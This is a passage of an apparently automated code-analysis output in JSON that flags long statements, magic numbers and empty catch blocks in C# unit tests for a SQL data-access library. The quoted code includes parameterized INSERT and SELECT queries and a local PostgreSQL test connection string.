PostgreSql.Create(\\\"Server=127.0.0.1;Port=5432;Database=InventoryDB;User Id=inventory_user;Password=sa\\\"' new NpgsqlDbConfiguration()); \\\" is 146.\", \"The length of the statement  \\\"            //var affectedRows = this._db.T(\\\"INSERT INTO \\\\\\\"J_Log\\\\\\\" (\\\\\\\"LoginUser\\\\\\\"'\\\\\\\"CreationDate\\\\\\\"'\\\\\\\"Action\\\\\\\") VALUES ( {...} )\\\"' \\\"oger\\\"' DateTime.Now' 1).ExecuteNonQuery(); \\\" is 161.\", \"The length of the statement  \\\"            //var affectedRows = await this._db.T(\\\"INSERT INTO \\\\\\\"J_Log\\\\\\\" (\\\\\\\"LoginUser\\\\\\\"'\\\\\\\"CreationDate\\\\\\\"'\\\\\\\"Action\\\\\\\") VALUES ( {...} )\\\"' \\\"oger\\\"' DateTime.Now' 1).ExecuteNonQueryAsync(); \\\" is 172.\", \"The length of the statement  \\\"            //\\tvar affectedRows = this._db.T(\\\"INSERT INTO \\\\\\\"J_Log\\\\\\\" (\\\\\\\"LoginUser\\\\\\\"'\\\\\\\"CreationDate\\\\\\\"'\\\\\\\"Action\\\\\\\") VALUES ( {...} )\\\"' \\\"oger\\\"' DateTime.Now' 1).ExecuteNonQuery(); \\\" is 162.\", \"The length of the statement  \\\"                var affectedRows = tran.T(\\\"INSERT INTO \\\\\\\"J_Log\\\\\\\" (\\\\\\\"LoginUser\\\\\\\"'\\\\\\\"CreationDate\\\\\\\"'\\\\\\\"Action\\\\\\\") VALUES ( {...} )\\\"' \\\"oger\\\"' DateTime.Now' 1).ExecuteNonQuery(); \\\" is 155.\", \"The length of the statement  \\\"            using (var conn = new NpgsqlConnection(\\\"Server=127.0.0.1;Port=5432;Database=InventoryDB;User Id=inventory_user;Password=sa\\\")) \\\" is 125.\", \"The length of the statement  \\\"                    var sql = \\\"INSERT INTO \\\\\\\"J_Log\\\\\\\" (\\\\\\\"LoginUser\\\\\\\"'\\\\\\\"CreationDate\\\\\\\"'\\\\\\\"Action\\\\\\\") VALUES ( 'oger-me'''2014-06-14 12:38:00'' 1 )\\\"; \\\" is 124.\", \"The length of the statement  \\\"      Assert.AreEqual( db.T( \\\"INSERT INTO Test1 ( Name' Content' [Index] ) VALUES ( {...} )\\\"' \\\"Ivony\\\"' \\\"Test\\\"' 1 ).ExecuteNonQuery()' 1' \\\"\\u63d2\\u5165\\u6570\\u636e\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 144.\", \"The length of the statement  \\\"      Assert.AreEqual( db.T( \\\"INSERT INTO Test1 ( Name' Content' [Index] ) VALUES ( {...} )\\\"' \\\"Ivony\\\"' \\\"Test\\\"' 1 ).ExecuteNonQuery()' 1' \\\"\\u63d2\\u5165\\u6570\\u636e\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 144.\", \"The length of the statement  \\\"      Assert.AreEqual( await db.T( \\\"INSERT INTO Test1 ( Name' Content' [Index] ) VALUES ( {...} )\\\"' \\\"Ivony\\\"' \\\"Test\\\"' 1 ).ExecuteNonQueryAsync()' 1' \\\"\\u63d2\\u5165\\u6570\\u636e\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 155.\", \"The length of the statement  \\\"        Assert.AreEqual( transaction.T( \\\"INSERT INTO Test1 ( Name' Content' [Index] ) VALUES ( {...} )\\\"' \\\"Ivony\\\"' \\\"Test\\\"' 1 ).ExecuteNonQuery()' 1' \\\"\\u63d2\\u5165\\u6570\\u636e\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 153.\", \"The length of the statement  \\\"        Assert.AreEqual( transaction.T( \\\"INSERT INTO Test1 ( Name' Content' [Index] ) VALUES ( {...} )\\\"' \\\"Ivony\\\"' \\\"Test\\\"' 1 ).ExecuteNonQuery()' 1' \\\"\\u63d2\\u5165\\u6570\\u636e\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 153.\", \"The length of the statement  \\\"        Assert.AreEqual( transaction.T( \\\"INSERT INTO Test1 ( Name' Content' [Index] ) VALUES ( {...} )\\\"' \\\"Ivony\\\"' \\\"Test\\\"' 1 ).ExecuteNonQuery()' 1' \\\"\\u63d2\\u5165\\u6570\\u636e\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 153.\", \"The length of the statement  \\\"      db.T( \\\"INSERT INTO Test1 ( Name' XmlContent' [Index] ) VALUES ( {...} ) \\\"' \\\"XML content\\\"' document' 1 ).ExecuteNonQuery(); \\\" is 122.\", \"The length of the statement  \\\"      Assert.AreEqual( document.ToString( SaveOptions.OmitDuplicateNamespaces )' document1.ToString( SaveOptions.OmitDuplicateNamespaces ) ); \\\" is 135.\", \"The length of the statement  \\\"      var entities = db.T( \\\"SELECT Name' Content' [Index] FROM Test1\\\" ).ExecuteDynamics().Select( item => (CorrectEntity) item ).ToArray(); \\\" is 133.\", \"The length of the statement  \\\"      db.T( \\\"INSERT INTO Test1 ( Name' Content' [Index] ) VALUES ( {...} )\\\"' \\\"1900/1/2 13:00:05.276\\\"' \\\"ABC\\\"' 0 ).ExecuteNonQuery(); \\\" is 125.\", \"The length of the statement  \\\"      Assert.AreEqual( db.T( \\\"SELECT TOP 1 Name FROM Test1\\\" ).ExecuteScalar<DateTime>()' new DateTime( 1900' 1' 2' 13' 0' 5' 276 ) ); \\\" is 127.\", \"The method has an empty catch block.\", \"The method has an empty catch block.\", \"The following statement contains a magic number: Assert.AreEqual( logs.Length' 3 );\", \"The following statement contains a magic number: Assert.AreEqual( logs[2].EventName' \\\"OnComplete\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( logs.Length' 2 );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID = {0}\\\"' 123 );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[0]' 123' \\\"\\u5355\\u53c2\\u6570\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID = {0..0}\\\"' 123 );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[0]' 123' \\\"\\u5355\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID IN ( {0..2} )\\\"' 1' 2' 3 );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID IN ( {0..2} )\\\"' 1' 2' 3 );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues.Length' 3' \\\"\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[1]' 2' \\\"\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' 3' \\\"\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' 3' \\\"\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID IN ( {0..2}' {1} )\\\"' 1' 2' 3 );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID IN ( {0..2}' {1} )\\\"' 1' 2' 3 );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues.Length' 4' \\\"\\u6df7\\u5408\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[1]' 2' \\\"\\u6df7\\u5408\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' 3' \\\"\\u6df7\\u5408\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' 3' \\\"\\u6df7\\u5408\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[3]' 2' \\\"\\u6df7\\u5408\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[3]' 2' \\\"\\u6df7\\u5408\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID = ( {1} ) AND Status = {0}\\\"' 3' Db.T( \\\"SELECT ID FROM Users WHERE Username = {0}\\\"' \\\"Ivony\\\" ) );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues.Length' 2' \\\"\\u4e00\\u4e2a\\u53c2\\u6570\\u5316\\u67e5\\u8be2\\u4f5c\\u4e3a\\u53e6\\u4e00\\u4e2a\\u53c2\\u6570\\u5316\\u67e5\\u8be2\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[1]' 3' \\\"\\u4e00\\u4e2a\\u53c2\\u6570\\u5316\\u67e5\\u8be2\\u4f5c\\u4e3a\\u53e6\\u4e00\\u4e2a\\u53c2\\u6570\\u5316\\u67e5\\u8be2\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: var query = Db.T( \\\"SELECT * FROM Users WHERE ID IN ( {0} )\\\"' new[] { 1' 2' 3 } );\", \"The following statement contains a magic number: var query = Db.T( \\\"SELECT * FROM Users WHERE ID IN ( {0} )\\\"' new[] { 1' 2' 3 } );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues.Length' 3' \\\"\\u4ee5\\u5217\\u8868\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[1]' 2' \\\"\\u4ee5\\u5217\\u8868\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' 3' \\\"\\u4ee5\\u5217\\u8868\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' 3' \\\"\\u4ee5\\u5217\\u8868\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues.Length' 3' \\\"\\u4ee5\\u5f15\\u7528\\u7c7b\\u578b\\u6570\\u7ec4\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' \\\"3\\\"' \\\"\\u4ee5\\u5f15\\u7528\\u7c7b\\u578b\\u6570\\u7ec4\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID IN ( {0}' {1}' {2} )\\\"' new object[] { 1' 2' 3 } );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID IN ( {0}' {1}' {2} )\\\"' new object[] { 1' 2' 3 } );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues.Length' 3' \\\"\\u4ee5object\\u6570\\u7ec4\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[1]' 2' \\\"\\u4ee5object\\u6570\\u7ec4\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' 3' \\\"\\u4ee5object\\u6570\\u7ec4\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' 3' \\\"\\u4ee5object\\u6570\\u7ec4\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID IN ( {0}' {1}' {2} )\\\"' new[] { 1' 2' 3 } );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID IN ( {0}' {1}' {2} )\\\"' new[] { 1' 2' 3 } );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues.Length' 3' \\\"\\u4ee5\\u503c\\u7c7b\\u578b\\u6570\\u7ec4\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[1]' 2' \\\"\\u4ee5\\u503c\\u7c7b\\u578b\\u6570\\u7ec4\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' 3' \\\"\\u4ee5\\u503c\\u7c7b\\u578b\\u6570\\u7ec4\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' 3' \\\"\\u4ee5\\u503c\\u7c7b\\u578b\\u6570\\u7ec4\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues.Length' 2' \\\"\\u4ee5\\u591a\\u4e2a null \\u503c\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues.Length' 2 );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues.Length' 2 );\", \"The following statement contains a magic number: this._db = PostgreSql.Connect(\\\"127.0.0.1\\\"' \\\"InventoryDB\\\"' 5432' \\\"inventory_user\\\"' \\\"sa\\\");\", \"The following statement contains a magic number: Assert.AreEqual(dynamicVar.Length' 61' \\\"\\u63d2\\u5165\\u6570\\u636e\\u540e\\u67e5\\u8be2\\u6d4b\\u8bd5\\u5931\\u8d25\\\");\", \"The following statement contains a magic number: Assert.AreEqual(dynamicVar.Length' 62' \\\"\\u63d2\\u5165\\u6570\\u636e\\u540e\\u67e5\\u8be2\\u6d4b\\u8bd5\\u5931\\u8d25\\\");\", \"The following statement contains a magic number: Assert.AreEqual( events.Length' 3 );\", \"The following statement contains a magic number: Assert.AreEqual( events[2].EventName' \\\"OnComplete\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( events.Length' 2 );\", \"The following statement contains a magic number: db.T( \\\"INSERT INTO Test1 ( Name' Content' [Index] ) VALUES( {...} )\\\"' \\\"Test\\\"' \\\"TestContent\\\"' 2 ).ExecuteNonQuery();\", \"The following statement contains a magic number: db.T( \\\"INSERT INTO Test1 ( Name' Content' [Index] ) VALUES ( {...} )\\\"' \\\"5\\\"' \\\"0.9\\\"' 100 ).ExecuteNonQuery();\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<long>()' 100L );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<int>()' 100 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<short>()' (short) 100 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<byte>()' (byte) 100 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<ulong>()' (ulong) 100 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<uint>()' 100u );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<ushort>()' (ushort) 100 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<sbyte>()' (sbyte) 100 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<char>()' (char) 100 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<decimal>()' (decimal) 100 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<double>()' (double) 100 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<float>()' (float) 100 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<long?>()' 100L );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<int?>()' 100 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<short?>()' (short) 100 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<byte?>()' (byte) 100 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<ulong?>()' (ulong) 100 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<uint?>()' 100u );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<ushort?>()' (ushort) 100 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<sbyte?>()' (sbyte) 100 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<char?>()' (char) 100 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<decimal?>()' (decimal) 100 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<double?>()' (double) 100 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 [Index] FROM Test1\\\" ).ExecuteScalar<float?>()' (float) 100 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Name FROM Test1\\\" ).ExecuteScalar<long>()' 5 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Name FROM Test1\\\" ).ExecuteScalar<int>()' 5 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Name FROM Test1\\\" ).ExecuteScalar<short>()' (short) 5 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Name FROM Test1\\\" ).ExecuteScalar<byte>()' (byte) 5 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Name FROM Test1\\\" ).ExecuteScalar<ulong>()' (ulong) 5 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Name FROM Test1\\\" ).ExecuteScalar<uint>()' 5u );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Name FROM Test1\\\" ).ExecuteScalar<ushort>()' (ushort) 5 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Name FROM Test1\\\" ).ExecuteScalar<sbyte>()' (sbyte) 5 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Name FROM Test1\\\" ).ExecuteScalar<decimal>()' (decimal) 5 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Name FROM Test1\\\" ).ExecuteScalar<double>()' (double) 5 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Name FROM Test1\\\" ).ExecuteScalar<float>()' (float) 5 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Content FROM Test1\\\" ).ExecuteScalar<decimal>()' (decimal) 0.9m );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Content FROM Test1\\\" ).ExecuteScalar<double>()' (double) 0.9 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Content FROM Test1\\\" ).ExecuteScalar<float>()' (float) 0.9 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Content FROM Test1\\\" ).ExecuteScalar<decimal?>()' (decimal) 0.9m );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Content FROM Test1\\\" ).ExecuteScalar<double?>()' (double) 0.9 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Content FROM Test1\\\" ).ExecuteScalar<float?>()' (float) 0.9 );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Name FROM Test1\\\" ).ExecuteScalar<DateTime>()' new DateTime( 1900' 1' 2' 13' 0' 5' 276 ) );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Name FROM Test1\\\" ).ExecuteScalar<DateTime>()' new DateTime( 1900' 1' 2' 13' 0' 5' 276 ) );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Name FROM Test1\\\" ).ExecuteScalar<DateTime>()' new DateTime( 1900' 1' 2' 13' 0' 5' 276 ) );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Name FROM Test1\\\" ).ExecuteScalar<DateTime>()' new DateTime( 1900' 1' 2' 13' 0' 5' 276 ) );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT TOP 1 Name FROM Test1\\\" ).ExecuteScalar<DateTime>()' new DateTime( 1900' 1' 2' 13' 0' 5' 276 ) );\", \"The following statement contains a magic number: Assert.AreEqual( db.T( \\\"SELECT [Index] FROM Test1\\\" ).ExecuteScalar<int>()' 3 );\"]}, \"column_text\": [\"The length of the statement  \\\"      Assert.AreEqual( db.T( \\\"INSERT INTO testTable ( Name' Content) VALUES ( {...} )\\\"' \\\"Ivony\\\"' \\\"Test\\\" ).ExecuteNonQuery()' 1' \\\"\\u63d2\\u5165\\u6570\\u636e\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 135.\", \"The length of the statement  \\\"        Assert.AreEqual( transaction.T( \\\"INSERT INTO testTable ( Name' Content ) VALUES ( {...} )\\\"' \\\"Ivony\\\"' \\\"Test\\\" ).ExecuteNonQuery()' 1' \\\"\\u63d2\\u5165\\u6570\\u636e\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 145.\", \"The length of the statement  \\\"        Assert.AreEqual( transaction.T( \\\"INSERT INTO testTable ( Name' Content) VALUES ( {...} )\\\"' \\\"Ivony\\\"' \\\"Test\\\" ).ExecuteNonQuery()' 1' \\\"\\u63d2\\u5165\\u6570\\u636e\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 144.\", \"The length of the statement  \\\"        Assert.AreEqual( transaction.T( \\\"INSERT INTO testTable ( Name' Content) VALUES ( {...} )\\\"' \\\"Ivony\\\"' \\\"Test\\\" ).ExecuteNonQuery()' 1' \\\"\\u63d2\\u5165\\u6570\\u636e\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 144.\", \"The length of the statement  \\\"      Assert.AreEqual( query.TextTemplate' \\\"SELECT * FROM Users WHERE ID = ( SELECT ID FROM Users WHERE Username = #0# )\\\"' \\\"\\u4e00\\u4e2a\\u53c2\\u6570\\u5316\\u67e5\\u8be2\\u4f5c\\u4e3a\\u53e6\\u4e00\\u4e2a\\u53c2\\u6570\\u5316\\u67e5\\u8be2\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 145.\", \"The length of the statement  \\\"      query = Db.T( \\\"SELECT * FROM Users WHERE ID = ( {1} ) AND Status = {0}\\\"' 3' Db.T( \\\"SELECT ID FROM Users WHERE Username = {0}\\\"' \\\"Ivony\\\" ) ); \\\" is 139.\", \"The length of the statement  \\\"      Assert.AreEqual( query.TextTemplate' \\\"SELECT * FROM Users WHERE ID = ( SELECT ID FROM Users WHERE Username = #0# ) AND Status = #1#\\\"' \\\"\\u4e00\\u4e2a\\u53c2\\u6570\\u5316\\u67e5\\u8be2\\u4f5c\\u4e3a\\u53e6\\u4e00\\u4e2a\\u53c2\\u6570\\u5316\\u67e5\\u8be2\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 162.\", \"The length of the statement  \\\"      Assert.AreEqual( (query + query + query).TextTemplate' \\\"SELECT * FROM Users; SELECT * FROM Users; SELECT * FROM Users;\\\"' \\\"\\u591a\\u4e2a\\u7eaf\\u6587\\u672c\\u6a21\\u677f\\u8fde\\u63a5\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 139.\", \"The length of the statement  \\\"      Assert.AreEqual( query.ConcatQueries( query' query ).TextTemplate' \\\"SELECT * FROM Users; SELECT * FROM Users; SELECT * FROM Users;\\\"' \\\"\\u591a\\u4e2a\\u7eaf\\u6587\\u672c\\u6a21\\u677f\\u8fde\\u63a5\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 151.\", \"The length of the statement  \\\"      Assert.AreEqual( (query + query + query).TextTemplate' \\\"SELECT * FROM Users WHERE UserID = #0#; SELECT * FROM Users WHERE UserID = #1#; SELECT * FROM Users WHERE UserID = #2#;\\\"' \\\"\\u591a\\u4e2a\\u5e26\\u53c2\\u6570\\u6a21\\u677f\\u8fde\\u63a5\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 196.\", \"The length of the statement  \\\"      Assert.AreEqual( query.ConcatQueries( query' query ).TextTemplate' \\\"SELECT * FROM Users WHERE UserID = #0#; SELECT * FROM Users WHERE UserID = #1#; SELECT * FROM Users WHERE UserID = #2#;\\\"' \\\"\\u591a\\u4e2a\\u5e26\\u53c2\\u6570\\u6a21\\u677f\\u8fde\\u63a5\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 208.\", \"The length of the statement  \\\"      query += Db.Join( \\\"AND\\\"' new ParameterizedQuery[] { Db.T( \\\"UserID <> {0}\\\"' 0 )' null' Db.T( \\\"Username = {0}\\\"' \\\"Ivony\\\" ) } ); \\\" is 124.\", \"The length of the statement  \\\"            //this._db = PostgreSql.Create(\\\"Server=127.0.0.1;Port=5432;Database=InventoryDB;User Id=inventory_user;Password=sa\\\"' new NpgsqlDbConfiguration()); \\\" is 146.\", \"The length of the statement  \\\"            //var affectedRows = this._db.T(\\\"INSERT INTO \\\\\\\"J_Log\\\\\\\" (\\\\\\\"LoginUser\\\\\\\"'\\\\\\\"CreationDate\\\\\\\"'\\\\\\\"Action\\\\\\\") VALUES ( {...} )\\\"' \\\"oger\\\"' DateTime.Now' 1).ExecuteNonQuery(); \\\" is 161.\", \"The length of the statement  \\\"            //var affectedRows = await this._db.T(\\\"INSERT INTO \\\\\\\"J_Log\\\\\\\" (\\\\\\\"LoginUser\\\\\\\"'\\\\\\\"CreationDate\\\\\\\"'\\\\\\\"Action\\\\\\\") VALUES ( {...} )\\\"' \\\"oger\\\"' DateTime.Now' 1).ExecuteNonQueryAsync(); \\\" is 172.\", \"The length of the statement  \\\"            //\\tvar affectedRows = this._db.T(\\\"INSERT INTO \\\\\\\"J_Log\\\\\\\" (\\\\\\\"LoginUser\\\\\\\"'\\\\\\\"CreationDate\\\\\\\"'\\\\\\\"Action\\\\\\\") VALUES ( {...} )\\\"' \\\"oger\\\"' DateTime.Now' 1).ExecuteNonQuery(); 